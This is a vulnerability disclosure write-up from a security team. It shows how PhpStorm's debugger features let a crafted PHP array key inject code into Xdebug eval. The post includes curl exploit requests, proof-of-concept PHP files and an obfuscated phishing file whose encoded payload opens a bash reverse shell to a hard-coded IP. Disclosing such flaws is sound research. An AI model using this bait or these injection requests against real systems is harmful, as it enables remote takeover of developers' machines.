Author: dawu@Knownsec 404 Team
Date: August 16, 2018
Chinese Version: https://paper.seebug.org/668/

0x00 Why Xdebug Caught My Attention

I met a large array $form when I was debugging Drupal remote code execution vulnerability (CVE-2018-7600 & CVE-2018-7602) with PhpStorm.

As a security researcher, I hope to explore vulnerabilities when debugging, so it’s important to know the content of each element in $form. However, PhpStorm is a debugging tool that requires a lot of clicks to see the value of each element in the array, which is very inefficient.

I found a solution in the official manual:

However, Evaluate in Console seems to be very dangerous, so I deeply studied the implementation process of this function and successfully executed the command on Xdebug server through PhpStorm.

0x01 Preparations

1.1 The Working Principles and Potential Attack Surface of Xdebug

There have been articles about its working principle and potential attack surface:

Based on the above reference links, the known attack surfaces are:

  1. eval command: Be able to execute the code.
  2. property_set && property_get command: Be able to execute the code.
  3. source command: Be able to read the source code.
  4. The local Xdebug server may be attacked by using DNS rebinding technique.

For this paper, the debugging workflow of PhpStorm and Xdebug is as follows:

  1. PhpStorm starts debugging monitor, and binds ports 9000, 10137 and 20080 by default to wait for connection.

  2. Developers use XDEBUG_SESSION=PHPSTORM to access PHP pages. The content of XDEBUG_SESSION can be configured, and I set PHPSTORM.

  3. The Xdebug server is backconnected to port 9000 where PhpStorm monitors.

  4. By establishing the connection in step 3, developers can read the source code, set breakpoints, execute code, and so on.

If we can control the command used by PhpStorm during debugging, then the attack surface 1, 2 and 3 in step 4 will directly threaten the security of Xdebug server.

1.2 Development of Real-Time Sniffer Script

As an old saying goes like this, a handy tool makes a handy man. I developed a script to show the traffic that PhpStorm and Xdebug interact with in real time (this script will appear several times in the screenshot below).

from scapy.all import *
import base64


Terminal_color = {
    "DEFAULT": "\033[0m",
    "RED": "\033[1;31;40m"
}

def pack_callback(packet):
    try:
        if packet[TCP].payload.raw_packet_cache != None:
            print("*"* 200)
            print("%s:%s --> %s:%s " %(packet['IP'].src,packet.sport,packet['IP'].dst,packet.dport))
            print(packet[TCP].payload.raw_packet_cache.decode('utf-8'))
            if packet[TCP].payload.raw_packet_cache.startswith(b"eval"):
                print("%s[EVAL] %s %s"%(Terminal_color['RED'],base64.b64decode(packet[TCP].payload.raw_packet_cache.decode('utf-8').split("--")[1].strip()).decode('utf-8'),Terminal_color['DEFAULT']))
            if packet[TCP].payload.raw_packet_cache.startswith(b"property_set"):
                variable = ""
                for i in packet[TCP].payload.raw_packet_cache.decode('utf-8').split(" "):
                    if "$" in i:
                        variable = i
                print("%s[PROPERTY_SET] %s=%s %s"%(Terminal_color['RED'],variable,base64.b64decode(packet[TCP].payload.raw_packet_cache.decode('utf-8').split("--")[1].strip()).decode('utf-8'),Terminal_color['DEFAULT']))
            if b"command=\"eval\"" in packet[TCP].payload.raw_packet_cache:
                raw_data = packet[TCP].payload.raw_packet_cache.decode('utf-8')
                CDATA_postion = raw_data.find("CDATA")
                try:
                    eval_result = base64.b64decode(raw_data[CDATA_postion+6:CDATA_postion+raw_data[CDATA_postion:].find("]")])
                    print("%s[CDATA] %s %s"%(Terminal_color['RED'],eval_result,Terminal_color['DEFAULT']))
                except:
                    pass
    except Exception as e:
        print(e)
        print(packet[TCP].payload)

dpkt  = sniff(iface="vmnet5",filter="tcp", prn=pack_callback)

0x02 Execute Commands on the Xdebug Server via PhpStorm

2.1 Execute Commands via Evaluate in Console

From the script above, it's clear what happens when we execute the Evaluate in Console command (the decoded result of base64 is in red).

If we can control $q, then we can control the content of eval, but in the official PHP manual, it's clear that variable names should be composed of a-za-z_ \x7f-\ XFF:

Variable names follow the same rules as other labels in PHP. A valid variable name starts with a letter or underscore, followed by any number of letters, numbers, or underscores. As a regular expression, it would be expressed thus: '[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*'

So it is not realistic to control the content of eval by controlling $q. But when PhpStorm gets an element in the array, it takes the name of that element into the eval statement.

As shown below, define the array as $a = ( "aaa'bbb"=>"ccc"), and use Evaluate in Console in PhpStorm.

You can see that the single quotes are not filtered, which means I can control the contents of eval. In the picture below, I get the value of $a['aaa'] by using Evaluate in Console on the $a['aaa\'];#'] variable.

The carefully constructed request and code are as follows:

$ curl "http://192.168.88.128/first_pwn.php?q=a%27%5d(\$b);%09%23" --cookie "XDEBUG_SESSION=PHPSTORM"

<?php
$a = array();
$q = $_GET['q'];
$a['a'] = 'system';
$b = "date >> /tmp/dawu";
$a[$q] = "aaa";

echo $a;
?>

But there's an obvious flaw in this example: you can see malicious element names. If used for phishing attacks, the success rate will be greatly reduced, so the above code has been modified:

$ curl "http://192.168.88.128/second_pwn.php?q=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%27%5d(\$b);%09%23" --cookie "XDEBUG_SESSION=PHPSTORM"

<?php
$a = array();
$q = $_GET['q'];
$a['aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'] = 'system';
$b = "date >> /tmp/dawu";
$a[$q] = "aaa";

echo $a;
?>

When the element name is long enough, PhpStorm automatically hides the rest:

2.2 Execute Commands via Copy Value As

Further research finds that COPY VALUE AS (print_r/var_export/json_encode) also uses the eval command in Xdebug to implement the corresponding functions:

Having carefully constructed the corresponding request and code, you can execute the command on the Xdebug server again:

curl "http://192.168.88.128/second_pwn.php?q=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%27%5d(\$b));%23" --cookie "XDEBUG_SESSION=PHPSTORM"

2.3 Research on Actual Attacks

Based on the above research, I think PhpStorm can be used to implement phishing attacks, and we suppose that the attack process is as follows:

  1. The attacker ensures that the victim can find malicious PHP files. For example, security researchers exchanged information about what the webshell actually implemented, and the operations staff found suspicious PHP files on the server.

  2. If the victim decides to use PhpStorm to analyze a PHP file after skimming through its contents.

  3. The victim uses COPY VALUE AS (print_r/var_export/json_encode), Evaluate array in Console, etc., and the commands will be executed.

  4. The attacker can receive the shell from the victim's Xdebug server.

The carefully constructed code is as follows (the backconnected IP address is the temporarily enabled VPS):

<?php
$chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMOPQRSTUVWXYZ_N+;'\"()\$ #[]";
$a = $chars[1].$chars[0].$chars[18].$chars[4].$chars[32].$chars[30].$chars[61].$chars[3].$chars[4].$chars[2].$chars[14].$chars[3].$chars[4]; //base64_decode
$b = $chars[4].$chars[21].$chars[0].$chars[11]; //eval
$c = $chars[18].$chars[24].$chars[18].$chars[19].$chars[4].$chars[12]; //system

$e = $chars[2].$chars[42].$chars[7].$chars[22].$chars[44].$chars[38].$chars[27].$chars[24].$chars[44].$chars[38].$chars[2].$chars[10].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[25].$chars[27].$chars[12].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[28].$chars[35].$chars[22].$chars[60].$chars[57].$chars[30].$chars[14].$chars[44].$chars[9].$chars[40].$chars[26].$chars[49].$chars[53].$chars[30].$chars[24].$chars[49].$chars[38].$chars[30].$chars[24].$chars[48].$chars[25].$chars[36].$chars[20].$chars[62].$chars[54].$chars[44].$chars[8].$chars[47].$chars[39].$chars[10].$chars[31].$chars[49].$chars[54].$chars[10].$chars[15].$chars[49].$chars[28].$chars[56].$chars[30].$chars[60].$chars[57].$chars[48].$chars[14].$chars[44].$chars[8].$chars[35].$chars[8].$chars[0].$chars[57].$chars[30].$chars[21].$chars[59].$chars[12].$chars[41].$chars[25].$chars[0].$chars[38].$chars[36].$chars[19].$chars[0].$chars[53].$chars[36].$chars[34].$chars[45].$chars[9].$chars[48].$chars[6].$chars[50].$chars[8].$chars[59].$chars[25].$chars[44].$chars[39].$chars[44].$chars[63].$chars[45].$chars[9].$chars[48].$chars[6].$chars[44].$chars[38].$chars[44].$chars[15].$chars[49].$chars[24].$chars[2].$chars[46]; // cGhwIC1yICckc29jaz1mc29ja29wZW4oIjE0OS4yOC4yMzAuNTIiLDk5OTkpO2V4ZWMoIi9iaW4vYmFzaCAtaSA8JjMgPiYzIDI+JjMgICIpOycK
$f = $chars[2].$chars[42].$chars[7].$chars[22].$chars[44].$chars[38].$chars[27].$chars[24].$chars[44].$chars[38].$chars[2].$chars[10].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[25].$chars[27].$chars[12].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[28].$chars[35].$chars[22].$chars[60].$chars[57].$chars[30].$chars[14].$chars[44].$chars[9].$chars[40].$chars[26].$chars[49].$chars[53].$chars[30].$chars[24].$chars[49].$chars[38].$chars[30].$chars[24].$chars[48].$chars[25].$chars[36].$chars[20].$chars[62].$chars[54].$chars[44].$chars[8].$chars[47].$chars[39].$chars[10].$chars[31].$chars[49].$chars[54].$chars[10].$chars[15].$chars[49].$chars[28].$chars[56].$chars[30].$chars[60].$chars[57].$chars[48].$chars[14].$chars[44].$chars[8].$chars[35].$chars[8].$chars[0].$chars[57].$chars[30].$chars[21].$chars[59].$chars[12].$chars[41].$chars[25].$chars[0].$chars[38].$chars[36].$chars[19].$chars[0].$chars[53].$chars[36].$chars[34].$chars[45].$chars[9].$chars[48].$chars[6].$chars[50].$chars[8].$chars[59].$chars[25].$chars[44].$chars[39].$chars[44].$chars[63].$chars[45].$chars[9].$chars[48].$chars[6].$chars[44].$chars[38].$chars[44].$chars[15].$chars[49].$chars[24].$chars[2].$chars[46].$chars[65].$chars[73].$chars[67].$chars[69].$chars[0].$chars[67].$chars[69].$chars[4].$chars[68].$chars[68].$chars[68].$chars[64].$chars[71]; // cGhwIC1yICckc29jaz1mc29ja29wZW4oIjE0OS4yOC4yMzAuNTIiLDk5OTkpO2V4ZWMoIi9iaW4vYmFzaCAtaSA8JjMgPiYzIDI+JjMgICIpOycK'](\$a(\$z)));#
$g = $chars[2].$chars[42].$chars[7].$chars[22].$chars[44].$chars[38].$chars[27].$chars[24].$chars[44].$chars[38].$chars[2].$chars[10].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[25].$chars[27].$chars[12].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[28].$chars[35].$chars[22].$chars[60].$chars[57].$chars[30].$chars[14].$chars[44].$chars[9].$chars[40].$chars[26].$chars[49].$chars[53].$chars[30].$chars[24].$chars[49].$chars[38].$chars[30].$chars[24].$chars[48].$chars[25].$chars[36].$chars[20].$chars[62].$chars[54].$chars[44].$chars[8].$chars[47].$chars[39].$chars[10].$chars[31].$chars[49].$chars[54].$chars[10].$chars[15].$chars[49].$chars[28].$chars[56].$chars[30].$chars[60].$chars[57].$chars[48].$chars[14].$chars[44].$chars[8].$chars[35].$chars[8].$chars[0].$chars[57].$chars[30].$chars[21].$chars[59].$chars[12].$chars[41].$chars[25].$chars[0].$chars[38].$chars[36].$chars[19].$chars[0].$chars[53].$chars[36].$chars[34].$chars[45].$chars[9].$chars[48].$chars[6].$chars[50].$chars[8].$chars[59].$chars[25].$chars[44].$chars[39].$chars[44].$chars[63].$chars[45].$chars[9].$chars[48].$chars[6].$chars[44].$chars[38].$chars[44].$chars[15].$chars[49].$chars[24].$chars[2].$chars[46].$chars[21].$chars[24].$chars[20].$chars[6].$chars[7].$chars[8].$chars[13].$chars[3].$chars[9].$chars[18].$chars[1].$chars[20].$chars[8].$chars[6].$chars[7].$chars[14].$chars[2].$chars[13].$chars[18].$chars[0];

$i = $chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[28].$chars[56].$chars[9].$chars[0].$chars[42].$chars[34].$chars[6].$chars[0].$chars[42].$chars[56].$chars[18].$chars[1].$chars[42].$chars[34].$chars[6].$chars[3].$chars[28].$chars[35].$chars[24].$chars[1].$chars[42].$chars[51].$chars[33].$chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[28].$chars[56].$chars[9].$chars[0].$chars[42].$chars[34].$chars[6].$chars[0].$chars[42].$chars[56].$chars[18].$chars[1].$chars[42].$chars[34].$chars[6].$chars[3].$chars[28].$chars[35].$chars[24].$chars[1].$chars[42].$chars[51].$chars[33].$chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[28].$chars[56].$chars[9].$chars[0].$chars[42].$chars[34].$chars[6].$chars[0].$chars[42].$chars[56].$chars[18].$chars[1].$chars[42].$chars[34].$chars[6].$chars[3].$chars[28].$chars[35].$chars[24].$chars[1].$chars[42].$chars[51].$chars[33].$chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[28].$chars[56].$chars[9].$chars[0].$chars[42].$chars[34].$chars[6].$chars[0].$chars[42].$chars[56].$chars[18].$chars[1].$chars[42].$chars[34].$chars[6].$chars[3].$chars[28].$chars[35].$chars[24].$chars[1].$chars[42].$chars[51].$chars[33].$chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[28].$chars[56].$chars[9].$chars[0].$chars[42].$chars[34].$chars[6].$chars[0].$chars[42].$chars[56].$chars[18].$chars[1].$chars[42].$chars[34].$chars[6].$chars[3].$chars[28].$chars[35].$chars[24].$chars[1].$chars[42].$chars[51].$chars[33].$chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[22].$chars[14]; //echo hello world; base64


$n = array(
    $e => $c,
    $f => $i,
    $g => $a,
);

$n[$e]($n[$g]($n[$f]));
?>

Executing this PHP code directly will only run system("echo hello world;") multiple times. However, the debugger does not execute PHP code. He might extract the value of $n[$f] and decode the specific content via echo XXXXXXXX|base64 -d.

If he uses COPY VALUE BY print_r to copy the corresponding variable, the command will be executed on his Xdebug server.

In the gif below, on the left is the attacker's terminal, and on the right is the debugging session of the victim.

PS: A clerical error in the gif, “decise” should be “decide”.

0x03 Conclusion

In the whole process of vulnerability discovery, there are some twists and turns, but it is just the fun of security research. It's a pity that PhpStorm officials didn't finally acknowledge the vulnerability. The reason why I share this discovery is to share the thoughts on the one hand; on the other hand, it’s to remind the security researchers to use the COPY VALUE AS (print_r/var_export/json_encode), Evaluate array in Console functionality when debugging code by means of PhpStorm with caution.

0x04 Timeline

June 8, 2018: Evaluate in Console was found to be at risk of executing the command on the Xdebug server.

June 31, 2018 - July 1, 2018: Try to analyze the problems of Evaluate in Console and find a new exploitation point: Copy Value. Even though eval is a feature provided by Xdebug, PhpStorm does not filter single quotes so that you can execute commands on the Xdebug server, so I contacted the official via security@jetbrains.com.

July 4, 2018: I received an official reply saying that they don't provide additional access to server's resources within debugging as it's being managed by Xdebug.

July 6, 2018: Contact the official again to show that the attack can be used for phishing attacks.

July 6, 2018: The official believed that having the untrusted code at the server may compromise the server without PhpStorm involved. The Official agreed with me to disclose the problem.

August 16, 2018: Disclose this issue.

About Knownsec & 404 Team

Beijing Knownsec Information Technology Co., Ltd. was established by a group of high-profile international security experts. It has over a hundred frontier security talents nationwide as the core security research team to provide long-term internationally advanced network security solutions for the government and enterprises.

Knownsec's specialties include network attack and defense integrated technologies and product R&D under new situations. It provides visualization solutions that meet the world-class security technology standards and enhances the security monitoring, alarm and defense abilities of customer networks with its industry-leading capabilities in cloud computing and big data processing. The company's technical strength is strongly recognized by the State Ministry of Public Security, the Central Government Procurement Center, the Ministry of Industry and Information Technology (MIIT), China National Vulnerability Database of Information Security (CNNVD), the Central Bank, the Hong Kong Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.

404 Team, the core security team of Knownsec, is dedicated to the research of security vulnerability and offensive and defensive technology in the fields of Web, IoT, industrial control, blockchain, etc. 404 team has submitted vulnerability research to many well-known vendors such as Microsoft, Apple, Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the industry.

The most well-known sharing of Knownsec 404 Team includes: KCon Hacking Conference, Seebug Vulnerability Database and ZoomEye Cyberspace Search Engine.


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/992/